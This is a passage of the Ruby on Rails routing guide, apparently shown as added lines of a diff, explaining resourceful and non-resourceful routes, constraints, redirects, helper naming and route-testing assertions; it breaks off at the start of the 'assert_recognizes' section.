+Browsers request pages from Rails by making a request for a URL using a specific HTTP method, such as `GET`, `POST`, `PATCH`, `PUT` and `DELETE`. Each method is a request to perform an operation on the resource. A resource route maps a number of related requests to actions in a single controller.
+
+When your Rails application receives an incoming request for:
+
+```
+DELETE /photos/17
+```
+
+it asks the router to map it to a controller action. If the first matching route is:
+
+```ruby
+resources :photos
+```
+
+Rails would dispatch that request to the `destroy` method on the `photos` controller with `{ id: '17' }` in `params`.
+
+### CRUD, Verbs, and Actions
+
+In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to particular CRUD operations in a database. A single entry in the routing file, such as:
+
+```ruby
+resources :photos
+```
+
+creates seven different routes in your application, all mapping to the `Photos` controller:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | ---------------- | ------- | -------------------------------------------- |
+| GET | /photos | index | display a list of all photos |
+| GET | /photos/new | new | return an HTML form for creating a new photo |
+| POST | /photos | create | create a new photo |
+| GET | /photos/:id | show | display a specific photo |
+| GET | /photos/:id/edit | edit | return an HTML form for editing a photo |
+| PATCH/PUT | /photos/:id | update | update a specific photo |
+| DELETE | /photos/:id | destroy | delete a specific photo |
+
+NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions.
+
+NOTE: Rails routes are matched in the order they are specified, so if you have a `resources :photos` above a `get 'photos/poll'` the `show` action's route for the `resources` line will be matched before the `get` line. To fix this, move the `get` line **above** the `resources` line so that it is matched first.
+
+### Path and URL Helpers
+
+Creating a resourceful route will also expose a number of helpers to the controllers in your application. In the case of `resources :photos`:
+
+* `photos_path` returns `/photos`
+* `new_photo_path` returns `/photos/new`
+* `edit_photo_path(:id)` returns `/photos/:id/edit` (for instance, `edit_photo_path(10)` returns `/photos/10/edit`)
+* `photo_path(:id)` returns `/photos/:id` (for instance, `photo_path(10)` returns `/photos/10`)
+
+Each of these helpers has a corresponding `_url` helper (such as `photos_url`) which returns the same path prefixed with the current host, port and path prefix.
+
+### Defining Multiple Resources at the Same Time
+
+If you need to create routes for more than one resource, you can save a bit of typing by defining them all with a single call to `resources`:
+
+```ruby
+resources :photos, :books, :videos
+```
+
+This works exactly the same as:
+
+```ruby
+resources :photos
+resources :books
+resources :videos
+```
+
+### Singular Resources
+
+Sometimes, you have a resource that clients always look up without referencing an ID. For example, you would like `/profile` to always show the profile of the currently logged in user. In this case, you can use a singular resource to map `/profile` (rather than `/profile/:id`) to the `show` action:
+
+```ruby
+get 'profile', to: 'users#show'
+```
+
+Passing a `String` to `match` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action:
+
+```ruby
+get 'profile', to: :show
+```
+
+This resourceful route:
+
+```ruby
+resource :geocoder
+```
+
+creates six different routes in your application, all mapping to the `Geocoders` controller:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | -------------- | ------- | --------------------------------------------- |
+| GET | /geocoder/new | new | return an HTML form for creating the geocoder |
+| POST | /geocoder | create | create the new geocoder |
+| GET | /geocoder | show | display the one and only geocoder resource |
+| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder |
+| PATCH/PUT | /geocoder | update | update the one and only geocoder resource |
+| DELETE | /geocoder | destroy | delete the geocoder resource |
+
+NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`).
+
+A singular resourceful route generates these helpers:
+
+* `new_geocoder_path` returns `/geocoder/new`
+* `edit_geocoder_path` returns `/geocoder/edit`
+* `geocoder_path` returns `/geocoder`
+
+As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix.
+
+### Controller Namespaces and Routing
+
+You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router:
+
+```ruby
+namespace :admin do
+ resources :posts, :comments
+end
+```
+
+This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | --------------------- | ------- | ------------------------- |
+| GET | /admin/posts | index | admin_posts_path |
+| GET | /admin/posts/new | new | new_admin_post_path |
+| POST | /admin/posts | create | admin_posts_path |
+| GET | /admin/posts/:id | show | admin_post_path(:id) |
+| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) |
+| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) |
+
+If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use:
+
+```ruby
+scope module: 'admin' do
+ resources :posts, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :posts, module: 'admin'
+```
+
+If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use:
+
+```ruby
+scope '/admin' do
+ resources :posts, :comments
+end
+```
+
+or, for a single case:
+
+```ruby
+resources :posts, path: '/admin/posts'
+```
+
+In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`:
+
+| HTTP Verb | Path | Action | Named Helper |
+| --------- | --------------------- | ------- | ------------------- |
+| GET | /admin/posts | index | posts_path |
+| GET | /admin/posts/new | new | new_post_path |
+| POST | /admin/posts | create | posts_path |
+| GET | /admin/posts/:id | show | post_path(:id) |
+| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) |
+| PATCH/PUT | /admin/posts/:id | update | post_path(:id) |
+| DELETE | /admin/posts/:id | destroy | post_path(:id) |
+
+### Nested Resources
+
+It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:
+
+```ruby
+class Magazine < ActiveRecord::Base
+ has_many :ads
+end
+
+class Ad < ActiveRecord::Base
+ belongs_to :magazine
+end
+```
+
+Nested routes allow you to capture this relationship in your routing. In this case, you could include this route declaration:
+
+```ruby
+resources :magazines do
+ resources :ads
+end
+```
+
+In addition to the routes for magazines, this declaration will also route ads to an `AdsController`. The ad URLs require a magazine:
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | ------------------------------------ | ------- | -------------------------------------------------------------------------- |
+| GET | /magazines/:magazine_id/ads | index | display a list of all ads for a specific magazine |
+| GET | /magazines/:magazine_id/ads/new | new | return an HTML form for creating a new ad belonging to a specific magazine |
+| POST | /magazines/:magazine_id/ads | create | create a new ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id | show | display a specific ad belonging to a specific magazine |
+| GET | /magazines/:magazine_id/ads/:id/edit | edit | return an HTML form for editing an ad belonging to a specific magazine |
+| PATCH/PUT | /magazines/:magazine_id/ads/:id | update | update a specific ad belonging to a specific magazine |
+| DELETE | /magazines/:magazine_id/ads/:id | destroy | delete a specific ad belonging to a specific magazine |
+
+This will also create routing helpers such as `magazine_ads_url` and `edit_magazine_ad_path`. These helpers take an instance of Magazine as the first parameter (`magazine_ads_url(@magazine)`).
+
+#### Limits to Nesting
+
+You can nest resources within other nested resources if you like. For example:
+
+```ruby
+resources :publishers do
+ resources :magazines do
+ resources :photos
+ end
+end
+```
+
+Deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize paths such as:
+
+```
+/publishers/1/magazines/2/photos/3
+```
+
+The corresponding route helper would be `publisher_magazine_photo_url`, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular [article](http://weblog.jamisbuck.org/2007/2/5/nesting-resources) by Jamis Buck proposes a rule of thumb for good Rails design:
+
+TIP: _Resources should never be nested more than 1 level deep._
+
+#### Shallow Nesting
+
+One way to avoid deep nesting (as recommended above) is to generate the collection actions scoped under the parent, so as to get a sense of the hierarchy, but to not nest the member actions. In other words, to only build routes with the minimal amount of information to uniquely identify the resource, like this:
+
+```ruby
+resources :posts do
+ resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+```
+
+This idea strikes a balance between descriptive routes and deep nesting. There exists shorthand syntax to achieve just that, via the `:shallow` option:
+
+```ruby
+resources :posts do
+ resources :comments, shallow: true
+end
+```
+
+This will generate the exact same routes as the first example. You can also specify the `:shallow` option in the parent resource, in which case all of the nested resources will be shallow:
+
+```ruby
+resources :posts, shallow: true do
+ resources :comments
+ resources :quotes
+ resources :drafts
+end
+```
+
+The `shallow` method of the DSL creates a scope inside of which every nesting is shallow. This generates the same routes as the previous example:
+
+```ruby
+shallow do
+ resources :posts do
+ resources :comments
+ resources :quotes
+ resources :drafts
+ end
+end
+```
+
+There exists two options for `scope` to customize shallow routes. `:shallow_path` prefixes member paths with the specified parameter:
+
+```ruby
+scope shallow_path: "sekret" do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path | Named Helper |
+| --------- | -------------------------------------- | ------------------- |
+| GET | /posts/:post_id/comments(.:format) | post_comments |
+| POST | /posts/:post_id/comments(.:format) | post_comments |
+| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
+| GET | /sekret/comments/:id/edit(.:format) | edit_comment |
+| GET | /sekret/comments/:id(.:format) | comment |
+| PATCH/PUT | /sekret/comments/:id(.:format) | comment |
+| DELETE | /sekret/comments/:id(.:format) | comment |
+
+The `:shallow_prefix` option adds the specified parameter to the named helpers:
+
+```ruby
+scope shallow_prefix: "sekret" do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+end
+```
+
+The comments resource here will have the following routes generated for it:
+
+| HTTP Verb | Path | Named Helper |
+| --------- | -------------------------------------- | ------------------- |
+| GET | /posts/:post_id/comments(.:format) | post_comments |
+| POST | /posts/:post_id/comments(.:format) | post_comments |
+| GET | /posts/:post_id/comments/new(.:format) | new_post_comment |
+| GET | /comments/:id/edit(.:format) | edit_sekret_comment |
+| GET | /comments/:id(.:format) | sekret_comment |
+| PATCH/PUT | /comments/:id(.:format) | sekret_comment |
+| DELETE | /comments/:id(.:format) | sekret_comment |
+
+### Routing concerns
+
+Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern:
+
+```ruby
+concern :commentable do
+ resources :comments
+end
+
+concern :image_attachable do
+ resources :images, only: :index
+end
+```
+
+These concerns can be used in resources to avoid code duplication and share behavior across routes:
+
+```ruby
+resources :messages, concerns: :commentable
+
+resources :posts, concerns: [:commentable, :image_attachable]
+```
+
+The above is equivalent to:
+
+```ruby
+resources :messages do
+ resources :comments
+end
+
+resources :posts do
+ resources :comments
+ resources :images, only: :index
+end
+```
+
+Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
+
+```ruby
+namespace :posts do
+ concerns :commentable
+end
+```
+
+### Creating Paths and URLs From Objects
+
+In addition to using the routing helpers, Rails can also create paths and URLs from an array of parameters. For example, suppose you have this set of routes:
+
+```ruby
+resources :magazines do
+ resources :ads
+end
+```
+
+When using `magazine_ad_path`, you can pass in instances of `Magazine` and `Ad` instead of the numeric IDs:
+
+```erb
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+```
+
+You can also use `url_for` with a set of objects, and Rails will automatically determine which route you want:
+
+```erb
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+```
+
+In this case, Rails will see that `@magazine` is a `Magazine` and `@ad` is an `Ad` and will therefore use the `magazine_ad_path` helper. In helpers like `link_to`, you can specify just the object in place of the full `url_for` call:
+
+```erb
+<%= link_to 'Ad details', [@magazine, @ad] %>
+```
+
+If you wanted to link to just a magazine:
+
+```erb
+<%= link_to 'Magazine details', @magazine %>
+```
+
+For other actions, you just need to insert the action name as the first element of the array:
+
+```erb
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+```
+
+This allows you to treat instances of your models as URLs, and is a key advantage to using the resourceful style.
+
+### Adding More RESTful Actions
+
+You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional routes that apply to the collection or individual members of the collection.
+
+#### Adding Member Routes
+
+To add a member route, just add a `member` block into the resource block:
+
+```ruby
+resources :photos do
+ member do
+ get 'preview'
+ end
+end
+```
+
+This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
+
+Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:
+
+```ruby
+resources :photos do
+ get 'preview', on: :member
+end
+```
+
+You can leave out the `:on` option, this will create the same member route except that the resource id value will be available in `params[:photo_id]` instead of `params[:id]`.
+
+#### Adding Collection Routes
+
+To add a route to the collection:
+
+```ruby
+resources :photos do
+ collection do
+ get 'search'
+ end
+end
+```
+
+This will enable Rails to recognize paths such as `/photos/search` with GET, and route to the `search` action of `PhotosController`. It will also create the `search_photos_url` and `search_photos_path` route helpers.
+
+Just as with member routes, you can pass `:on` to a route:
+
+```ruby
+resources :photos do
+ get 'search', on: :collection
+end
+```
+
+#### Adding Routes for Additional New Actions
+
+To add an alternate new action using the `:on` shortcut:
+
+```ruby
+resources :comments do
+ get 'preview', on: :new
+end
+```
+
+This will enable Rails to recognize paths such as `/comments/new/preview` with GET, and route to the `preview` action of `CommentsController`. It will also create the `preview_new_comment_url` and `preview_new_comment_path` route helpers.
+
+TIP: If you find yourself adding many extra actions to a resourceful route, it's time to stop and ask yourself whether you're disguising the presence of another resource.
+
+Non-Resourceful Routes
+----------------------
+
+In addition to resource routing, Rails has powerful support for routing arbitrary URLs to actions. Here, you don't get groups of routes automatically generated by resourceful routing. Instead, you set up each route within your application separately.
+
+While you should usually use resourceful routing, there are still many places where the simpler routing is more appropriate. There's no need to try to shoehorn every last piece of your application into a resourceful framework if that's not a good fit.
+
+In particular, simple routing makes it very easy to map legacy URLs to new Rails actions.
+
+### Bound Parameters
+
+When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: `:controller` maps to the name of a controller in your application, and `:action` maps to the name of an action within that controller. For example, consider this route:
+
+```ruby
+get ':controller(/:action(/:id))'
+```
+
+If an incoming request of `/photos/show/1` is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the `show` action of the `PhotosController`, and to make the final parameter `"1"` available as `params[:id]`. This route will also route the incoming request of `/photos` to `PhotosController#index`, since `:action` and `:id` are optional parameters, denoted by parentheses.
+
+### Dynamic Segments
+
+You can set up as many dynamic segments within a regular route as you like. Anything other than `:controller` or `:action` will be available to the action as part of `params`. If you set up this route:
+
+```ruby
+get ':controller/:action/:id/:user_id'
+```
+
+An incoming path of `/photos/show/1/2` will be dispatched to the `show` action of the `PhotosController`. `params[:id]` will be `"1"`, and `params[:user_id]` will be `"2"`.
+
+NOTE: You can't use `:namespace` or `:module` with a `:controller` path segment. If you need to do this then use a constraint on :controller that matches the namespace you require. e.g:
+
+```ruby
+get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/
+```
+
+TIP: By default, dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `id: /[^\/]+/` allows anything except a slash.
+
+### Static Segments
+
+You can specify static segments when creating a route by not prepending a colon to a fragment:
+
+```ruby
+get ':controller/:action/:id/with_user/:user_id'
+```
+
+This route would respond to paths such as `/photos/show/1/with_user/2`. In this case, `params` would be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### The Query String
+
+The `params` will also include any parameters from the query string. For example, with this route:
+
+```ruby
+get ':controller/:action/:id'
+```
+
+An incoming path of `/photos/show/1?user_id=2` will be dispatched to the `show` action of the `Photos` controller. `params` will be `{ controller: 'photos', action: 'show', id: '1', user_id: '2' }`.
+
+### Defining Defaults
+
+You do not need to explicitly use the `:controller` and `:action` symbols within a route. You can supply them as defaults:
+
+```ruby
+get 'photos/:id', to: 'photos#show'
+```
+
+With this route, Rails will match an incoming path of `/photos/12` to the `show` action of `PhotosController`.
+
+You can also define other defaults in a route by supplying a hash for the `:defaults` option. This even applies to parameters that you do not specify as dynamic segments. For example:
+
+```ruby
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+```
+
+Rails would match `photos/12` to the `show` action of `PhotosController`, and set `params[:format]` to `"jpg"`.
+
+### Naming Routes
+
+You can specify a name for any route using the `:as` option:
+
+```ruby
+get 'exit', to: 'sessions#destroy', as: :logout
+```
+
+This will create `logout_path` and `logout_url` as named helpers in your application. Calling `logout_path` will return `/exit`
+
+You can also use this to override routing methods defined by resources, like this:
+
+```ruby
+get ':username', to: 'users#show', as: :user
+```
+
+This will define a `user_path` method that will be available in controllers, helpers and views that will go to a route such as `/bob`. Inside the `show` action of `UsersController`, `params[:username]` will contain the username for the user. Change `:username` in the route definition if you do not want your parameter name to be `:username`.
+
+### HTTP Verb Constraints
+
+In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+
+```ruby
+match 'photos', to: 'photos#show', via: [:get, :post]
+```
+
+You can match all verbs to a particular route using `via: :all`:
+
+```ruby
+match 'photos', to: 'photos#show', via: :all
+```
+
+NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
+
+### Segment Constraints
+
+You can use the `:constraints` option to enforce a format for a dynamic segment:
+
+```ruby
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+```
+
+This route would match paths such as `/photos/A12345`, but not `/photos/893`. You can more succinctly express the same route this way:
+
+```ruby
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+```
+
+`:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
+
+```ruby
+get '/:id', to: 'posts#show', constraints: {id: /^\d/}
+```
+
+However, note that you don't need to use anchors because all routes are anchored at the start.
+
+For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+
+```ruby
+get '/:id', to: 'posts#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+```
+
+### Request-Based Constraints
+
+You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`.
+
+You specify a request-based constraint the same way that you specify a segment constraint:
+
+```ruby
+get 'photos', constraints: {subdomain: 'admin'}
+```
+
+You can also specify constraints in a block form:
+
+```ruby
+namespace :admin do
+ constraints subdomain: 'admin' do
+ resources :photos
+ end
+end
+```
+
+### Advanced Constraints
+
+If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
+
+```ruby
+class BlacklistConstraint
+ def initialize
+ @ips = Blacklist.retrieve_ips
+ end
+
+ def matches?(request)
+ @ips.include?(request.remote_ip)
+ end
+end
+
+TwitterClone::Application.routes.draw do
+ get '*path', to: 'blacklist#index',
+ constraints: BlacklistConstraint.new
+end
+```
+
+You can also specify constraints as a lambda:
+
+```ruby
+TwitterClone::Application.routes.draw do
+ get '*path', to: 'blacklist#index',
+ constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+```
+
+Both the `matches?` method and the lambda gets the `request` object as an argument.
+
+### Route Globbing and Wildcard Segments
+
+Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example:
+
+```ruby
+get 'photos/*other', to: 'photos#unknown'
+```
+
+This route would match `photos/12` or `/photos/long/path/to/12`, setting `params[:other]` to `"12"` or `"long/path/to/12"`. The fragments prefixed with a star are called "wildcard segments".
+
+Wildcard segments can occur anywhere in a route. For example:
+
+```ruby
+get 'books/*section/:title', to: 'books#show'
+```
+
+would match `books/some/section/last-words-a-memoir` with `params[:section]` equals `'some/section'`, and `params[:title]` equals `'last-words-a-memoir'`.
+
+Technically, a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example:
+
+```ruby
+get '*a/foo/*b', to: 'test#index'
+```
+
+would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
+
+NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equals to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: false
+```
+
+NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply `format: true` like this:
+
+```ruby
+get '*pages', to: 'pages#show', format: true
+```
+
+### Redirection
+
+You can redirect any path to another path using the `redirect` helper in your router:
+
+```ruby
+get '/stories', to: redirect('/posts')
+```
+
+You can also reuse dynamic segments from the match in the path to redirect to:
+
+```ruby
+get '/stories/:name', to: redirect('/posts/%{name}')
+```
+
+You can also provide a block to redirect, which receives the params and the request object:
+
+```ruby
+get '/stories/:name', to: redirect {|params, req| "/posts/#{params[:name].pluralize}" }
+get '/stories', to: redirect {|p, req| "/posts/#{req.subdomain}" }
+```
+
+Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
+
+In all of these cases, if you don't provide the leading host (`http://www.example.com`), Rails will take those details from the current request.
+
+### Routing to Rack Applications
+
+Instead of a String like `'posts#index'`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher:
+
+```ruby
+match '/application.js', to: Sprockets, via: :all
+```
+
+As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
+
+NOTE: For the curious, `'posts#index'` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.
+
+### Using `root`
+
+You can specify what Rails should route `'/'` to with the `root` method:
+
+```ruby
+root to: 'pages#main'
+root 'pages#main' # shortcut for the above
+```
+
+You should put the `root` route at the top of the file, because it is the most popular route and should be matched first.
+
+NOTE: The `root` route only routes `GET` requests to the action.
+
+You can also use root inside namespaces and scopes as well. For example:
+
+```ruby
+namespace :admin do
+ root to: "admin#index"
+end
+
+root to: "home#index"
+```
+
+### Unicode character routes
+
+You can specify unicode character routes directly. For example:
+
+```ruby
+get 'こんにちは', to: 'welcome#index'
+```
+
+Customizing Resourceful Routes
+------------------------------
+
+While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+
+### Specifying a Controller to Use
+
+The `:controller` option lets you explicitly specify a controller to use for the resource. For example:
+
+```ruby
+resources :photos, controller: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
+
+| HTTP Verb | Path | Action | Named Helper |
+| --------- | ---------------- | ------- | -------------------- |
+| GET | /photos | index | photos_path |
+| GET | /photos/new | new | new_photo_path |
+| POST | /photos | create | photos_path |
+| GET | /photos/:id | show | photo_path(:id) |
+| GET | /photos/:id/edit | edit | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id | update | photo_path(:id) |
+| DELETE | /photos/:id | destroy | photo_path(:id) |
+
+NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
+
+For namespaced controllers you can use the directory notation. For example:
+
+```ruby
+resources :user_permissions, controller: 'admin/user_permissions'
+```
+
+This will route to the `Admin::UserPermissions` controller.
+
+NOTE: Only the directory notation is supported. Specifying the
+controller with ruby constant notation (eg. `:controller =>
+'Admin::UserPermissions'`) can lead to routing problems and results in
+a warning.
+
+### Specifying Constraints
+
+You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
+
+```ruby
+resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/}
+```
+
+This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
+
+You can specify a single constraint to apply to a number of routes by using the block form:
+
+```ruby
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+ resources :photos
+ resources :accounts
+end
+```
+
+NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
+
+TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `id: /[^\/]+/` allows anything except a slash.
+
+### Overriding the Named Helpers
+
+The `:as` option lets you override the normal naming for the named route helpers. For example:
+
+```ruby
+resources :photos, as: 'images'
+```
+
+will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
+
+| HTTP Verb | Path | Action | Named Helper |
+| --------- | ---------------- | ------- | -------------------- |
+| GET | /photos | index | images_path |
+| GET | /photos/new | new | new_image_path |
+| POST | /photos | create | images_path |
+| GET | /photos/:id | show | image_path(:id) |
+| GET | /photos/:id/edit | edit | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id | update | image_path(:id) |
+| DELETE | /photos/:id | destroy | image_path(:id) |
+
+### Overriding the `new` and `edit` Segments
+
+The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:
+
+```ruby
+resources :photos, path_names: { new: 'make', edit: 'change' }
+```
+
+This would cause the routing to recognize paths such as:
+
+```
+/photos/make
+/photos/1/change
+```
+
+NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the `new` and `edit` actions.
+
+TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
+
+```ruby
+scope path_names: { new: 'make' } do
+ # rest of your routes
+end
+```
+
+### Prefixing the Named Route Helpers
+
+You can use the `:as` option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope. For example:
+
+```ruby
+scope 'admin' do
+ resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+```
+
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.
+
+To prefix a group of route helpers, use `:as` with `scope`:
+
+```ruby
+scope 'admin', as: 'admin' do
+ resources :photos, :accounts
+end
+
+resources :photos, :accounts
+```
+
+This will generate routes such as `admin_photos_path` and `admin_accounts_path` which map to `/admin/photos` and `/admin/accounts` respectively.
+
+NOTE: The `namespace` scope will automatically add `:as` as well as `:module` and `:path` prefixes.
+
+You can prefix routes with a named parameter also:
+
+```ruby
+scope ':username' do
+ resources :posts
+end
+```
+
+This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+
+### Restricting the Routes Created
+
+By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+
+```ruby
+resources :photos, only: [:index, :show]
+```
+
+Now, a `GET` request to `/photos` would succeed, but a `POST` request to `/photos` (which would ordinarily be routed to the `create` action) will fail.
+
+The `:except` option specifies a route or list of routes that Rails should _not_ create:
+
+```ruby
+resources :photos, except: :destroy
+```
+
+In this case, Rails will create all of the normal routes except the route for `destroy` (a `DELETE` request to `/photos/:id`).
+
+TIP: If your application has many RESTful routes, using `:only` and `:except` to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
+
+### Translated Paths
+
+Using `scope`, we can alter path names generated by resources:
+
+```ruby
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+ resources :categories, path: 'kategorien'
+end
+```
+
+Rails now creates routes to the `CategoriesController`.
+
+| HTTP Verb | Path | Action | Used for |
+| --------- | -------------------------- | ------- | ----------------------- |
+| GET | /kategorien | index | categories_path |
+| GET | /kategorien/neu | new | new_category_path |
+| POST | /kategorien | create | categories_path |
+| GET | /kategorien/:id | show | category_path(:id) |
+| GET | /kategorien/:id/bearbeiten | edit | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id | update | category_path(:id) |
+| DELETE | /kategorien/:id | destroy | category_path(:id) |
+
+### Overriding the Singular Form
+
+If you want to define the singular form of a resource, you should add additional rules to the `Inflector`:
+
+```ruby
+ActiveSupport::Inflector.inflections do |inflect|
+ inflect.irregular 'tooth', 'teeth'
+end
+```
+
+### Using `:as` in Nested Resources
+
+The `:as` option overrides the automatically-generated name for the resource in nested route helpers. For example:
+
+```ruby
+resources :magazines do
+ resources :ads, as: 'periodical_ads'
+end
+```
+
+This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
+
+Inspecting and Testing Routes
+-----------------------------
+
+Rails offers facilities for inspecting and testing your routes.
+
+### Listing Existing Routes
+
+To get a complete list of the available routes in your application, visit `http://localhost:3000/rails/info/routes` in your browser while your server is running in the **development** environment. You can also execute the `rake routes` command in your terminal to produce the same output.
+
+Both methods will list all of your routes, in the same order that they appear in `routes.rb`. For each route, you'll see:
+
+* The route name (if any)
+* The HTTP verb used (if the route doesn't respond to all verbs)
+* The URL pattern to match
+* The routing parameters for the route
+
+For example, here's a small section of the `rake routes` output for a RESTful route:
+
+```
+ users GET /users(.:format) users#index
+ POST /users(.:format) users#create
+ new_user GET /users/new(.:format) users#new
+edit_user GET /users/:id/edit(.:format) users#edit
+```
+
+You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:
+
+```bash
+$ CONTROLLER=users rake routes
+```
+
+TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.
+
+### Testing Routes
+
+Routes should be included in your testing strategy (just like the rest of your application). Rails offers three [built-in assertions](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html) designed to make testing routes simpler:
+
+* `assert_generates`
+* `assert_recognizes`
+* `assert_routing`
+
+#### The `assert_generates` Assertion
+
+`assert_generates` asserts that a particular set of options generate a particular path and can be used with default routes or custom routes. For example:
+
+```ruby
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+```
+
+#### The `assert_recognizes` Assertion
+
